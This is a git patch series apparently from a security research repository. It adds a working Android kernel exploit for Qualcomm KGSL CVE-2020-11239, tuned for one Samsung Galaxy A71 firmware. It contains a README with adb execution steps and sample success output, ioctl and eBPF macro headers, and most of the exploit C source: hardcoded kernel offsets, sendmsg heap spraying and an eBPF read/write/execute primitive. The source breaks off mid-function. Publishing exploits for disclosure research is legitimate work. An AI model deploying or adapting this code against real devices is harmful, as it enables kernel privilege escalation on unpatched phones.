-//------------------------------------------------------------------------------------------------------------------ - while (1) { - ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region); - do_one_rw(DMA_ADDRESS, SYS_LEN * (region_index + 1), regions, ion_region, &(ion_alloc_fds[0]), 1); - printf("running bpf program\n"); - - unsigned long bpf_insn_addr = ion_addr + 1024; - memcpy(&(ion_sys_regions[1][1024]), insn, sizeof(insn)); - bpf_data[128] = 12345; - //set up read - bpf_data[bpf_op_offset/8] = 'r'; - bpf_data[bpf_rw_addr_offset/8] = bpf_data_address + 1024; - switch(type) { - case null: - for (int i = 0; i < SLAB_LEN; i++) { - lseek64(p.null_fds[i], bpf_insn_addr, 0); - } - break; - case dma: - for (int i = 0; i < REGIONS_LEN_1; i++) { - lseek64(ion_sys_fds[i], bpf_insn_addr, 0); - } - for (int i = 0; i < REGIONS_LEN_2; i++) { - lseek64(ion_sys_fds2[i], bpf_insn_addr, 0); - } - break; - default: - break; - } - printf("bpf_data 0x%lx\n", bpf_data[bpf_out_offset/8]); - if (bpf_data[bpf_out_offset/8] == 12345) { - printf("[+] successful read\n"); - break; - } - } - break; - } - } - munmap(tmp_ion_regions[0], ion_region_size0); - munmap(ion_region, 0x1000); - for (int i = 0; i < VMAS_LEN; i++) { - munmap(tmp_ion_regions[i + 1], 0x1000); - } - sleep(5); - } - - for (int i = 0; i < 3; i++) { - close(ion_alloc_fds[i]); - } - - close(ion_fd); - - for (int i = 0; i < BOUNCE_LEN; i++) { - munmap(bounce_regions[i], SYS_LEN); - } -} From 8d00deffa37c98ddffbf3e9f6df03dd312f661ce Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 8 Mar 2021 17:17:03 -0800 Subject: [PATCH 022/140] Revert "Revert "Blog material"" --- .../Android/Qualcomm/CVE-2020-11239/README.md | 62 + .../Qualcomm/CVE-2020-11239/kgsl_exploit.h | 546 +++++++++ .../CVE-2020-11239/kgsl_exploit_slab_a71.c | 1047 +++++++++++++++++ 3 files changed, 1655 insertions(+) create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md new file mode 100644 index 0000000..17efd5d --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md @@ -0,0 +1,62 @@ +## Exploit for Qualcomm CVE-2020-11239 + +The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. + +The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed. + +The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running. + +The most likely cause of failure is when it failed to locate the file structs after 5 retries. In this case there is no adverse effect and the phone will not crash. However, running the exploit immediately is unlikely to succeed and it usually requires waiting for a bit or doing something else to reorganize the heap before running it again. + +To test, cross compile the file `kgsl_exploit_slab_a71.c` and then execute with `adb`: + +``` +adb push kgsl_exploit_slab_a71 /data/local/tmp +adb shell +a71:/ $ /data/local/tmp/kgsl_exploit_slab_a71 +``` + +If succeeded, it will run a eBPF program to write and read to an address and confirm the successful read and write: + +``` +rpc opened +[+] reallocation data initialized! +[ ] initializing reallocation threads, please wait... +[+] 8 reallocation threads ready! +micros_used: 19432 +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] Read/Write operation succeeded +[+] syncing bounce buffers +done read 0 +[+] Found null_fops at 2 region offset 32 ffffff80099d9788 +null file addr: ffffffc12a993058 +[+] ion region location: ffffffc12a992000 +[+] bpf addr: ffffff8008317088 +overwrite fops ffffff80099d9788 +overwrite fops 0 +[-] Failed to find dma_buf_fops +[+] syncing bounce buffers +[+] reallocation data initialized! +[ ] initializing reallocation threads, please wait... +[+] 8 reallocation threads ready! +micros_used: 19938 +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] Read/Write operation succeeded +running bpf program +bpf_data 0x3039 +[+] successful read +``` diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h new file mode 100644 index 0000000..dc1022e --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h @@ -0,0 +1,546 @@ +#ifndef KGSL_EXPLOIT_H +#define KGSL_EXPLOIT_H + +#include + +//---------------------------ION------------------------------------------------------------------- + +enum ion_heap_ids { + INVALID_HEAP_ID = -1, + ION_CP_MM_HEAP_ID = 8, + ION_SECURE_HEAP_ID = 9, + ION_SECURE_DISPLAY_HEAP_ID = 10, + ION_CP_MFC_HEAP_ID = 12, + ION_SPSS_HEAP_ID = 13, /* Secure Processor ION heap */ + ION_SECURE_CARVEOUT_HEAP_ID = 14, + ION_CP_WB_HEAP_ID = 16, /* 8660 only */ + ION_QSECOM_TA_HEAP_ID = 19, + ION_CAMERA_HEAP_ID = 20, /* 8660 only */ + ION_SYSTEM_CONTIG_HEAP_ID = 21, + ION_ADSP_HEAP_ID = 22, + ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */ + ION_SF_HEAP_ID = 24, + ION_SYSTEM_HEAP_ID = 25, + ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */ + ION_QSECOM_HEAP_ID = 27, + ION_AUDIO_HEAP_ID = 28, + + ION_MM_FIRMWARE_HEAP_ID = 29, + ION_GOOGLE_HEAP_ID = 30, + + ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */ +}; + +enum ion_heap_type { + ION_HEAP_TYPE_SYSTEM, + ION_HEAP_TYPE_SYSTEM_CONTIG, + ION_HEAP_TYPE_CARVEOUT, + ION_HEAP_TYPE_CHUNK, + ION_HEAP_TYPE_DMA, + ION_HEAP_TYPE_CUSTOM, /* + * must be last so device specific heaps always + * are at the end of this enum + */ + ION_NUM_HEAPS = 16, +}; + +#define ION_HEAP_SYSTEM_MASK ((1 << ION_HEAP_TYPE_SYSTEM)) +#define ION_HEAP_SYSTEM_CONTIG_MASK ((1 << ION_HEAP_TYPE_SYSTEM_CONTIG)) +#define ION_HEAP_CARVEOUT_MASK ((1 << ION_HEAP_TYPE_CARVEOUT)) +#define ION_HEAP_TYPE_DMA_MASK ((1 << ION_HEAP_TYPE_DMA)) + +#define ION_NUM_HEAP_IDS (sizeof(unsigned int) * 8) +#define ION_FLAG_CACHED 1 +#define ION_FLAG_CACHED_NEEDS_SYNC 2 +struct ion_allocation_data { + size_t len; + unsigned int heap_id_mask; + unsigned int flags; + uint32_t fd; + uint32_t unused; +}; + +struct ion_custom_data { + unsigned int cmd; + unsigned long arg; +}; + +#define VM_MAYWRITE 0x00000020 + +/* ioctls */ +#define KGSL_IOC_TYPE 0x09 + +#define IOCTL_KGSL_GPUOBJ_IMPORT \ + _IOWR(KGSL_IOC_TYPE, 0x48, struct kgsl_gpuobj_import) + +#define ION_IOC_MAGIC 'I' + +#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ + struct ion_allocation_data) + +#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data) + +#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data) + +#define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data) + +#define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data) + +#define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data) + +#define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data) + +#define ION_BIT(nr) (1UL << (nr)) + +#define ION_HEAP(bit) ION_BIT(bit) + +//---------------------------------KGSL------------------------------------------------------------ + +#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL + +enum kgsl_user_mem_type { + KGSL_USER_MEM_TYPE_PMEM = 0x00000000, + KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, + KGSL_USER_MEM_TYPE_ADDR = 0x00000002, + KGSL_USER_MEM_TYPE_ION = 0x00000003, + /* + * ION type is retained for backwards compatibility but Ion buffers are + * dma-bufs so try to use that naming if we can + */ + KGSL_USER_MEM_TYPE_DMABUF = 0x00000003, + KGSL_USER_MEM_TYPE_MAX = 0x00000007, +}; + +struct kgsl_gpuobj_import { + uint64_t __user priv; + uint64_t priv_len; + uint64_t flags; + unsigned int type; + unsigned int id; +}; + +struct kgsl_gpuobj_import_dma_buf { + int fd; +}; + +struct kgsl_gpuobj_import_useraddr { + uint64_t virtaddr; +}; + +struct kgsl_gpuobj_free { + uint64_t flags; + uint64_t __user priv; + unsigned int id; + unsigned int type; + unsigned int len; +}; + +#define KGSL_GPUOBJ_FREE_ON_EVENT 1 + +#define KGSL_GPU_EVENT_TIMESTAMP 1 +#define KGSL_GPU_EVENT_FENCE 2 + +struct kgsl_gpu_event_timestamp { + unsigned int context_id; + unsigned int timestamp; +}; + +struct kgsl_gpu_event_fence { + int fd; +}; + +struct kgsl_gpumem_free_id { + unsigned int id; +/* private: reserved for future use*/ + unsigned int __pad; +}; + +#define IOCTL_KGSL_GPUMEM_FREE_ID _IOWR(KGSL_IOC_TYPE, 0x35, struct kgsl_gpumem_free_id) + +#define IOCTL_KGSL_GPUOBJ_FREE \ + _IOW(KGSL_IOC_TYPE, 0x46, struct kgsl_gpuobj_free) + +struct dma_buf_sync { + __u64 flags; +}; + +#define DMA_BUF_SYNC_READ (1 << 0) +#define DMA_BUF_SYNC_WRITE (2 << 0) +#define DMA_BUF_SYNC_RW (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE) +#define DMA_BUF_SYNC_START (0 << 2) +#define DMA_BUF_SYNC_END (1 << 2) +#define DMA_BUF_SYNC_USER_MAPPED (1 << 3) + +#define DMA_BUF_SYNC_VALID_FLAGS_MASK \ + (DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END) + +#define DMA_BUF_BASE 'b' +#define DMA_BUF_IOCTL_SYNC _IOW(DMA_BUF_BASE, 0, struct dma_buf_sync) + +#define KGSL_MEMFLAGS_FORCE_32BIT 0x100000000ULL + +//-----------------------ADSPRPC---------------------------------------------------- + +/* Retrives number of input buffers from the scalars parameter */ +#define REMOTE_SCALARS_INBUFS(sc) (((sc) >> 16) & 0x0ff) + +/* Retrives number of output buffers from the scalars parameter */ +#define REMOTE_SCALARS_OUTBUFS(sc) (((sc) >> 8) & 0x0ff) + +/* Retrives number of input handles from the scalars parameter */ +#define REMOTE_SCALARS_INHANDLES(sc) (((sc) >> 4) & 0x0f) + +/* Retrives number of output handles from the scalars parameter */ +#define REMOTE_SCALARS_OUTHANDLES(sc) ((sc) & 0x0f) + +#define REMOTE_SCALARS_LENGTH(sc) (REMOTE_SCALARS_INBUFS(sc) +\ + REMOTE_SCALARS_OUTBUFS(sc) +\ + REMOTE_SCALARS_INHANDLES(sc) +\ + REMOTE_SCALARS_OUTHANDLES(sc)) + +#define REMOTE_SCALARS_MAKEX(attr, method, in, out, oin, oout) \ + ((((uint32_t) (attr) & 0x7) << 29) | \ + (((uint32_t) (method) & 0x1f) << 24) | \ + (((uint32_t) (in) & 0xff) << 16) | \ + (((uint32_t) (out) & 0xff) << 8) | \ + (((uint32_t) (oin) & 0x0f) << 4) | \ + ((uint32_t) (oout) & 0x0f)) + +#define REMOTE_SCALARS_MAKE(method, in, out) \ + REMOTE_SCALARS_MAKEX(0, method, in, out, 0, 0) + + +#ifndef VERIFY_PRINT_ERROR +#define VERIFY_EPRINTF(format, args) (void)0 +#endif + +#ifndef VERIFY_PRINT_INFO +#define VERIFY_IPRINTF(args) (void)0 +#endif + +#ifndef VERIFY +#define __STR__(x) #x ":" +#define __TOSTR__(x) __STR__(x) +#define __FILE_LINE__ __FILE__ ":" __TOSTR__(__LINE__) + +#define VERIFY(err, val) \ +do {\ + VERIFY_IPRINTF(__FILE_LINE__"info: calling: " #val "\n");\ + if ((val) == 0) {\ + (err) = (err) == 0 ? -1 : (err);\ + VERIFY_EPRINTF(__FILE_LINE__"error: %d: " #val "\n", (err));\ + } else {\ + VERIFY_IPRINTF(__FILE_LINE__"info: passed: " #val "\n");\ + } \ +} while (0) +#endif + +#define remote_arg64_t union remote_arg64 + +struct remote_buf64 { + uint64_t pv; + uint64_t len; +}; + +struct remote_dma_handle64 { + int fd; + uint32_t offset; + uint32_t len; +}; + +union remote_arg64 { + struct remote_buf64 buf; + struct remote_dma_handle64 dma; + uint32_t h; +}; + +#define remote_arg_t union remote_arg + +struct remote_buf { + void *pv; /* buffer pointer */ + size_t len; /* length of buffer */ +}; + +struct remote_dma_handle { + int fd; + uint32_t offset; +}; + +union remote_arg { + struct remote_buf buf; /* buffer info */ + struct remote_dma_handle dma; + uint32_t h; /* remote handle */ +}; + +struct fastrpc_ioctl_invoke { + uint32_t handle; /* remote handle */ + uint32_t sc; /* scalars describing the data */ + remote_arg_t *pra; /* remote arguments list */ +}; + +struct fastrpc_ioctl_invoke_fd { + struct fastrpc_ioctl_invoke inv; + int *fds; /* fd list */ +}; + +struct fastrpc_ioctl_invoke_attrs { + struct fastrpc_ioctl_invoke inv; + int *fds; /* fd list */ + unsigned int *attrs; /* attribute list */ +}; + +struct fastrpc_ioctl_invoke_crc { + struct fastrpc_ioctl_invoke inv; + int *fds; /* fd list */ + unsigned int *attrs; /* attribute list */ + unsigned int *crc; +}; + +struct fastrpc_ioctl_init { + uint32_t flags; /* one of FASTRPC_INIT_* macros */ + uintptr_t file; /* pointer to elf file */ + uint32_t filelen; /* elf file length */ + int32_t filefd; /* ION fd for the file */ + uintptr_t mem; /* mem for the PD */ + uint32_t memlen; /* mem length */ + int32_t memfd; /* ION fd for the mem */ +}; + +struct fastrpc_ioctl_init_attrs { + struct fastrpc_ioctl_init init; + int attrs; + unsigned int siglen; +}; + +struct fastrpc_ioctl_munmap { + uintptr_t vaddrout; /* address to unmap */ + size_t size; /* size */ +}; + +struct fastrpc_ioctl_munmap_64 { + uint64_t vaddrout; /* address to unmap */ + size_t size; /* size */ +}; + +struct fastrpc_ioctl_mmap { + int fd; /* ion fd */ + uint32_t flags; /* flags for dsp to map with */ + uintptr_t vaddrin; /* optional virtual address */ + size_t size; /* size */ + uintptr_t vaddrout; /* dsps virtual address */ +}; + +struct fastrpc_ioctl_mmap_64 { + int fd; /* ion fd */ + uint32_t flags; /* flags for dsp to map with */ + uint64_t vaddrin; /* optional virtual address */ + size_t size; /* size */ + uint64_t vaddrout; /* dsps virtual address */ +}; + +struct fastrpc_ioctl_munmap_fd { + int fd; /* fd */ + uint32_t flags; /* control flags */ + uintptr_t va; /* va */ + ssize_t len; /* length */ +}; + +struct fastrpc_ioctl_perf { /* kernel performance data */ + uintptr_t data; + uint32_t numkeys; + uintptr_t keys; +}; + + +#define FASTRPC_IOCTL_INVOKE _IOWR('R', 1, struct fastrpc_ioctl_invoke) +#define FASTRPC_IOCTL_MMAP _IOWR('R', 2, struct fastrpc_ioctl_mmap) +#define FASTRPC_IOCTL_MUNMAP _IOWR('R', 3, struct fastrpc_ioctl_munmap) +#define FASTRPC_IOCTL_MMAP_64 _IOWR('R', 14, struct fastrpc_ioctl_mmap_64) +#define FASTRPC_IOCTL_MUNMAP_64 _IOWR('R', 15, struct fastrpc_ioctl_munmap_64) +#define FASTRPC_IOCTL_INVOKE_FD _IOWR('R', 4, struct fastrpc_ioctl_invoke_fd) +#define FASTRPC_IOCTL_SETMODE _IOWR('R', 5, uint32_t) +#define FASTRPC_IOCTL_INIT _IOWR('R', 6, struct fastrpc_ioctl_init) +#define FASTRPC_IOCTL_INVOKE_ATTRS \ + _IOWR('R', 7, struct fastrpc_ioctl_invoke_attrs) +#define FASTRPC_IOCTL_GETINFO _IOWR('R', 8, uint32_t) +#define FASTRPC_IOCTL_GETPERF _IOWR('R', 9, struct fastrpc_ioctl_perf) +#define FASTRPC_IOCTL_INIT_ATTRS _IOWR('R', 10, struct fastrpc_ioctl_init_attrs) +#define FASTRPC_IOCTL_INVOKE_CRC _IOWR('R', 11, struct fastrpc_ioctl_invoke_crc) +#define FASTRPC_IOCTL_CONTROL _IOWR('R', 12, struct fastrpc_ioctl_control) +#define FASTRPC_IOCTL_MUNMAP_FD _IOWR('R', 13, struct fastrpc_ioctl_munmap_fd) + +#define FASTRPC_CONTROL_LATENCY (1) +struct fastrpc_ctrl_latency { + uint32_t enable; /* latency control enable */ + uint32_t level; /* level of control */ +}; + +#define FASTRPC_CONTROL_KALLOC (3) +struct fastrpc_ctrl_kalloc { + uint32_t kalloc_support; /* Remote memory allocation from kernel */ +}; + +struct fastrpc_ioctl_control { + uint32_t req; + union { + struct fastrpc_ctrl_latency lp; + struct fastrpc_ctrl_kalloc kalloc; + }; +}; + +#define FASTRPC_INIT_CREATE 1 + + +struct scatterlist { + unsigned long page_link; + unsigned int offset; + unsigned int length; + uint64_t dma_address; + unsigned int dma_length; +}; + +enum region_type { + binder, + dma, + null +}; + +//---------------BPF--------------------------------------------------------- + +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#define BPF_MOV64_RAW(TYPE, DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_SRC(TYPE), \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_XADD(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_REG(OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_A(OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_JA, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = 0 }) + +// This check has been added to ensure that function calls are always within the allowed range. +#define BPF_EMIT_CALL__IMM(FUNC) ({ \ + uintptr_t __offset = (FUNC) - __bpf_call_base; \ + (__s32) __offset; \ + }) + +#define BPF_EMIT_CALL(FUNC) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_CALL, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = BPF_EMIT_CALL__IMM(FUNC)/*((FUNC) - __bpf_call_base)*/ }) + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c new file mode 100644 index 0000000..036f2c2 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c @@ -0,0 +1,1047 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "kgsl_exploit.h" +#include + +//A71: +//dma_buf_fops - __bpf_prog_run32 +#define DMA_TO_BPF 0x16f2798 +//null_fops - __bpf_prog_run32 +#define NULL_TO_BPF 0x16c2700 +//__bpf_prog_run32 - __bpf_call_base +#define BPF_TO_BASE 0x18f8 + +#define SPRAY_1 1 +#define PIPE 1 + +#define DELAY 4000 +#define OBJ_SIZE 37 +#define NENTS 1 +#define NB_REALLOC_THREADS 8 +#define SYS_LEN 0x1000 +#define SYS_LEN_0 0xf000 +//between 320 -480 seems ok +#define REGIONS_LEN_1 (480 * 16) +#define REGIONS_LEN_2 (1024) +#define DMA_ADDRESS 0xfffbf000 +#define DMA_PAGES 64 +#define VMAS_LEN 50 +#define ORDER 26 +#define TRIGGER_THRESH 1000 +#define BOUNCE_LEN 64 +#define SLAB_LEN 5000 +#define CPU0 0 +#define CPU1 1 + +#ifdef DMA_SPRAY + #define MMAP_LEN 64 + #ifdef SPRAY_1 + #define G_REGION_LEN 4 + #else + #define G_REGION_LEN 3 + #endif +#else + #define MMAP_LEN 65 + #ifdef SPRAY_1 + #define G_REGION_LEN 2 + #else + #define G_REGION_LEN 1 + #endif +#endif + +static volatile size_t g_nb_realloc_thread_ready = 0; +static volatile size_t g_realloc_now = 0; +static volatile size_t g_trigger_now = 0; +static volatile size_t g_map_now = 0; +static volatile size_t g_import_now = 0; +static volatile size_t g_finished_read = 0; +static volatile size_t g_unlocked_read = 0; +static volatile char* g_ion_regions[G_REGION_LEN] = {0}; +static char* bounce_regions[BOUNCE_LEN]; +static int bounce_fds[BOUNCE_LEN]; +static char* ion_sys_regions[REGIONS_LEN_1 + REGIONS_LEN_2] = {0}; +static int ion_sys_fds[REGIONS_LEN_1] = {0}; +static int ion_sys_fds2[REGIONS_LEN_2] = {0}; +static long trigger_time = 0; +static unsigned long ion_addr = 0; +static unsigned long bpf_addr = 0; + +//-------eBPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html ------------------------------------------------------- + +// 25. Copy an eBPF program to run into the ION buffer. A pointer to this program is passed +// to __bpf_prog_run32() as the second argument. +// +// This program will implement a very simple read/write/execute busy loop: it reads from +// the ION buffer to see if there's an operation ('r', 'w', or 'x') to run, reads the +// parameters from the ION buffer, and then executes the operation. +//operation +static int bpf_op_offset = 0x000; +//rw input address +static int bpf_rw_addr_offset = 0x008; +//output address +static int bpf_out_offset = 0x108; +//arguments offsets +static int bpf_arg0 = 0x10; +static int bpf_arg1 = 0x18; +static int bpf_arg2 = 0x20; +static int bpf_arg3 = 0x28; +static int bpf_arg4 = 0x30; + +//---------------------------------sendmsg heap spraying, from https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html --------------------------------- + +#define CPU_SETSIZE 1024 +#define __NCPUBITS (8 * sizeof (unsigned long)) +typedef struct +{ + unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; +} cpu_set_t; + +#define CPU_SET(cpu, cpusetp) \ + ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) +#define CPU_ZERO(cpusetp) \ + memset((cpusetp), 0, sizeof(cpu_set_t)) + +void reset_globals() { + g_nb_realloc_thread_ready = 0; + g_realloc_now = 0; + g_trigger_now = 0; + g_map_now = 0; + g_import_now = 0; + g_finished_read = 0; + g_unlocked_read = 0; + for (int i = 0; i < G_REGION_LEN; i++) { + g_ion_regions[i] = 0; + } +} + +void migrate_to_cpu(int cpu_num) { + int syscallres; + pid_t pid = gettid(); + cpu_set_t cpu; + CPU_ZERO(&cpu); + CPU_SET(cpu_num, &cpu); + + syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); + if (syscallres) + { + err(1, "Error in the syscall setaffinity"); + } +} + +static volatile char g_realloc_data[OBJ_SIZE]; + +int init_realloc_data(uint64_t dma_address, size_t length) { + struct cmsghdr *first; + struct scatterlist* scatter_view; + + first = (struct cmsghdr*) g_realloc_data; + first->cmsg_len = sizeof(g_realloc_data); + first->cmsg_level = 0; + + scatter_view = (struct scatterlist*) g_realloc_data; + for (int i = 0; i < NENTS; i++) { + scatter_view[i].length = length; + scatter_view[i].dma_length = length; + scatter_view[i].dma_address = dma_address; + } + return 0; +} + +struct realloc_thread_arg +{ + pthread_t tid; + int recv_fd; + int send_fd; + struct sockaddr_un addr; +}; + +int init_unix_sockets(struct realloc_thread_arg * rta) { + struct timeval tv; + static int sock_counter = 0; + + if (((rta->recv_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) || + ((rta->send_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)) + { + perror("[-] socket"); + goto fail; + } + + memset(&rta->addr, 0, sizeof(rta->addr)); + rta->addr.sun_family = AF_UNIX; + sprintf(rta->addr.sun_path + 1, "sock_%x_%d", gettid(), ++sock_counter); + if (bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) + { + perror("[-] bind"); + goto fail; + } + + if (connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) + { + perror("[-] connect"); + goto fail; + } + + memset(&tv, 0, sizeof(tv)); + if (setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) { + err(1, "setsockopt"); + } + + return 0; +fail: + printf("[-] failed to initialize UNIX sockets!\n"); + return -1; +} + +static void* realloc_thread(void *arg) +{ + struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg; + struct msghdr mhdr; + char buf[200]; + + // initialize msghdr + struct iovec iov = { + .iov_base = buf, + .iov_len = sizeof(buf), + }; + memset(&mhdr, 0, sizeof(mhdr)); + mhdr.msg_iov = &iov; + mhdr.msg_iovlen = 1; + + // the thread should inherit main thread cpumask, better be sure and redo-it! + migrate_to_cpu(CPU0); + + // make it block + while (sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0); + + if (errno != EAGAIN) + { + perror("[-] sendmsg"); + goto fail; + } + + // use the arbitrary data now + iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue + mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer + mhdr.msg_controllen = sizeof(g_realloc_data); + + g_nb_realloc_thread_ready++; + + while (!g_realloc_now) // spinlock until the big GO! + ; + + // the next call should block while "reallocating" + if (sendmsg(rta->send_fd, &mhdr, 0) < 0) + { + perror("[-] sendmsg"); + goto fail; + } + printf("[+] REALLOC THREAD finished\n"); + return NULL; + +fail: + printf("[-] REALLOC THREAD FAILURE!!!\n"); + return NULL; +} + +int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs, uint64_t dma_address, size_t length) +{ + int thread = 0; + int ret = -1; + + if (init_realloc_data(dma_address, length)) + { + printf("[-] failed to initialize reallocation data!\n"); + goto fail; + } + printf("[+] reallocation data initialized!\n"); + + printf("[ ] initializing reallocation threads, please wait...\n"); + for (thread = 0; thread < nb_reallocs; ++thread) + { + if (init_unix_sockets(&rta[thread])) + { + printf("[-] failed to init UNIX sockets!\n"); + goto fail; + } + + if ((ret = 